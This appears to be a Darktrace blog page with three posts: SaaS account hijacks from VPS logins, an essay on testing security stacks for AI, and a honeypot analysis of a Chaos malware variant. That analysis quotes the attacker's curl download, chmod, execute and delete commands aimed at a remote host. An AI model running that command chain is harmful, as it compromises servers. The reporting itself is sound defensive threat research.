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August 21, 2025

From VPS to Phishing: How Darktrace Uncovered SaaS Hijacks through Virtual Infrastructure Abuse

Darktrace identified coordinated SaaS account compromises across multiple customer environments. The incidents involved suspicious logins from VPS-linked infrastructure followed by unauthorized inbox rule creation and deletion of phishing-related emails. These consistent behaviors across devices point to a targeted phishing campaign leveraging virtual infrastructure for access and concealment. Discover how Darktrace uncovered this activity and what it means for the future of SaaS security.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Rajendra Rushanth
Cyber Analyst
VPS phishingDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
21
Aug 2025

What is a VPS and how are they abused?

A Virtual Private Server (VPS) is a virtualized server that provides dedicated resources and control to users on a shared physical device.  VPS providers, long used by developers and businesses, are increasingly misused by threat actors to launch stealthy, scalable attacks. While not a novel tactic, VPS abuse is has seen an increase in Software-as-a-Service (SaaS)-targeted campaigns as it enables attackers to bypass geolocation-based defenses by mimicking local traffic, evade IP reputation checks with clean, newly provisioned infrastructure, and blend into legitimate behavior [3].

VPS providers like Hyonix and Host Universal offer rapid setup and minimal open-source intelligence (OSINT) footprint, making detection difficult [1][2]. These services are not only fast to deploy but also affordable, making them attractive to attackers seeking anonymous, low-cost infrastructure for scalable campaigns. Such attacks tend to be targeted and persistent, often timed to coincide with legitimate user activity, a tactic that renders traditional security tools largely ineffective.

Darktrace’s investigation into Hyonix VPS abuse

In May 2025, Darktrace’s Threat Research team investigated a series of incidents across its customer base involving VPS-associated infrastructure. The investigation began with a fleet-wide review of alerts linked to Hyonix (ASN AS931), revealing a noticeable spike in anomalous behavior from this ASN in March 2025. The alerts included brute-force attempts, anomalous logins, and phishing campaign-related inbox rule creation.

Darktrace identified suspicious activity across multiple customer environments around this time, but two networks stood out. In one instance, two internal devices exhibited mirrored patterns of compromise, including logins from rare endpoints, manipulation of inbox rules, and the deletion of emails likely used in phishing attacks. Darktrace traced the activity back to IP addresses associated with Hyonix, suggesting a deliberate use of VPS infrastructure to facilitate the attack.

On the second customer network, the attack was marked by coordinated logins from rare IPs linked to multiple VPS providers, including Hyonix. This was followed by the creation of inbox rules with obfuscated names and attempts to modify account recovery settings, indicating a broader campaign that leveraged shared infrastructure and techniques.

Darktrace’s Autonomous Response capability was not enabled in either customer environment during these attacks. As a result, no automated containment actions were triggered, allowing the attack to escalate without interruption. Had Autonomous Response been active, Darktrace would have automatically blocked connections from the unusual VPS endpoints upon detection, effectively halting the compromise in its early stages.

Case 1

Timeline of activity for Case 1 - Unusual VPS logins and deletion of phishing emails.
Figure 1: Timeline of activity for Case 1 - Unusual VPS logins and deletion of phishing emails.

Initial Intrusion

On May 19, 2025, Darktrace observed two internal devices on one customer environment initiating logins from rare external IPs associated with VPS providers, namely Hyonix and Host Universal (via Proton VPN). Darktrace recognized that these logins had occurred within minutes of legitimate user activity from distant geolocations, indicating improbable travel and reinforcing the likelihood of session hijacking. This triggered Darktrace / IDENTITY model “Login From Rare Endpoint While User Is Active”, which highlights potential credential misuse when simultaneous logins occur from both familiar and rare sources.  

Shortly after these logins, Darktrace observed the threat actor deleting emails referring to invoice documents from the user’s “Sent Items” folder, suggesting an attempt to hide phishing emails that had been sent from the now-compromised account. Though not directly observed, initial access in this case was likely achieved through a similar phishing or account hijacking method.

 Darktrace / IDENTITY model "Login From Rare Endpoint While User Is Active", which detects simultaneous logins from both a common and a rare source to highlight potential credential misuse.
Figure 2: Darktrace / IDENTITY model "Login From Rare Endpoint While User Is Active", which detects simultaneous logins from both a common and a rare source to highlight potential credential misuse.

Case 2

Timeline of activity for Case 2 – Coordinated inbox rule creation and outbound phishing campaign.
Figure 3: Timeline of activity for Case 2 – Coordinated inbox rule creation and outbound phishing campaign.

In the second customer environment, Darktrace observed similar login activity originating from Hyonix, as well as other VPS providers like Mevspace and Hivelocity. Multiple users logged in from rare endpoints, with Multi-Factor Authentication (MFA) satisfied via token claims, further indicating session hijacking.

Establishing control and maintaining persistence

Following the initial access, Darktrace observed a series of suspicious SaaS activities, including the creation of new email rules. These rules were given minimal or obfuscated names, a tactic often used by attackers to avoid drawing attention during casual mailbox reviews by the SaaS account owner or automated audits. By keeping rule names vague or generic, attackers reduce the likelihood of detection while quietly redirecting or deleting incoming emails to maintain access and conceal their activity.

One of the newly created inbox rules targeted emails with subject lines referencing a document shared by a VIP at the customer’s organization. These emails would be automatically deleted, suggesting an attempt to conceal malicious mailbox activity from legitimate users.

Mirrored activity across environments

While no direct lateral movement was observed, mirrored activity across multiple user devices suggested a coordinated campaign. Notably, three users had near identical similar inbox rules created, while another user had a different rule related to fake invoices, reinforcing the likelihood of a shared infrastructure and technique set.

Privilege escalation and broader impact

On one account, Darktrace observed “User registered security info” activity was shortly after anomalous logins, indicating attempts to modify account recovery settings. On another, the user reset passwords or updated security information from rare external IPs. In both cases, the attacker’s actions—including creating inbox rules, deleting emails, and maintaining login persistence—suggested an intent to remain undetected while potentially setting the stage for data exfiltration or spam distribution.

On a separate account, outbound spam was observed, featuring generic finance-related subject lines such as 'INV#. EMITTANCE-1'. At the network level, Darktrace / NETWORK detected DNS requests from a device to a suspicious domain, which began prior the observed email compromise. The domain showed signs of domain fluxing, a tactic involving frequent changes in IP resolution, commonly used by threat actors to maintain resilient infrastructure and evade static blocklists. Around the same time, Darktrace detected another device writing a file named 'SplashtopStreamer.exe', associated with the remote access tool Splashtop, to a domain controller. While typically used in IT support scenarios, its presence here may suggest that the attacker leveraged it to establish persistent remote access or facilitate lateral movement within the customer’s network.

Conclusion

This investigation highlights the growing abuse of VPS infrastructure in SaaS compromise campaigns. Threat actors are increasingly leveraging these affordable and anonymous hosting services to hijack accounts, launch phishing attacks, and manipulate mailbox configurations, often bypassing traditional security controls.

Despite the stealthy nature of this campaign, Darktrace detected the malicious activity early in the kill chain through its Self-Learning AI. By continuously learning what is normal for each user and device, Darktrace surfaced subtle anomalies, such as rare login sources, inbox rule manipulation, and concurrent session activity, that likely evade traditional static, rule-based systems.

As attackers continue to exploit trusted infrastructure and mimic legitimate user behavior, organizations should adopt behavioral-based detection and response strategies. Proactively monitoring for indicators such as improbable travel, unusual login sources, and mailbox rule changes, and responding swiftly with autonomous actions, is critical to staying ahead of evolving threats.

Credit to Rajendra Rushanth (Cyber Analyst), Jen Beckett (Cyber Analyst) and Ryan Traill (Analyst Content Lead)

References

·      1: https://cybersecuritynews.com/threat-actors-leveraging-vps-hosting-providers/

·      2: https://threatfox.abuse.ch/asn/931/

·      3: https://www.cyfirma.com/research/vps-exploitation-by-threat-actors/

Appendices

Darktrace Model Detections

•   SaaS / Compromise / Unusual Login, Sent Mail, Deleted Sent

•   SaaS / Compromise / Suspicious Login and Mass Email Deletes

•   SaaS / Resource / Mass Email Deletes from Rare Location

•   SaaS / Compromise / Unusual Login and New Email Rule

•   SaaS / Compliance / Anomalous New Email Rule

•   SaaS / Resource / Possible Email Spam Activity

•   SaaS / Unusual Activity / Multiple Unusual SaaS Activities

•   SaaS / Unusual Activity / Multiple Unusual External Sources For SaaS Credential

•   SaaS / Access / Unusual External Source for SaaS Credential Use

•   SaaS / Compromise / High Priority Login From Rare Endpoint

•   SaaS / Compromise / Login From Rare Endpoint While User Is Active

List of Indicators of Compromise (IoCs)

Format: IoC – Type – Description

•   38.240.42[.]160 – IP – Associated with Hyonix ASN (AS931)

•   103.75.11[.]134 – IP – Associated with Host Universal / Proton VPN

•   162.241.121[.]156 – IP – Rare IP associated with phishing

•   194.49.68[.]244 – IP – Associated with Hyonix ASN

•   193.32.248[.]242 – IP – Used in suspicious login activity / Mullvad VPN

•   50.229.155[.]2 – IP – Rare login IP / AS 7922 ( COMCAST-7922 )

•   104.168.194[.]248 – IP – Rare login IP / AS 54290 ( HOSTWINDS )

•   38.255.57[.]212 – IP – Hyonix IP used during MFA activity

•   103.131.131[.]44 – IP – Hyonix IP used in login and MFA activity

•   178.173.244[.]27 – IP – Hyonix IP

•   91.223.3[.]147 – IP – Mevspace Poland, used in multiple logins

•   2a02:748:4000:18:0:1:170b[:]2524 – IPv6 – Hivelocity VPS, used in multiple logins and MFA activity

•   51.36.233[.]224 – IP – Saudi ASN, used in suspicious login

•   103.211.53[.]84 – IP – Excitel Broadband India, used in security info update

MITRE ATT&CK Mapping

Tactic – Technique – Sub-Technique

•   Initial Access – T1566 – Phishing

                       T1566.001 – Spearphishing Attachment

•   Execution – T1078 – Valid Accounts

•   Persistence – T1098 – Account Manipulation

                       T1098.002 – Exchange Email Rules

•   Command and Control – T1071 – Application Layer Protocol

                       T1071.001 – Web Protocols

•   Defense Evasion – T1036 – Masquerading

•   Defense Evasion – T1562 – Impair Defenses

                       T1562.001 – Disable or Modify Tools

•   Credential Access – T1556 – Modify Authentication Process

                       T1556.004 – MFA Bypass

•   Discovery – T1087 – Account Discovery

•      Impact – T1531 – Account Access Removal

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content without notice.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Rajendra Rushanth
Cyber Analyst

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April 8, 2026

How to Secure AI and Find the Gaps in Your Security Operations

secuing AI testing gaps security operationsDefault blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer
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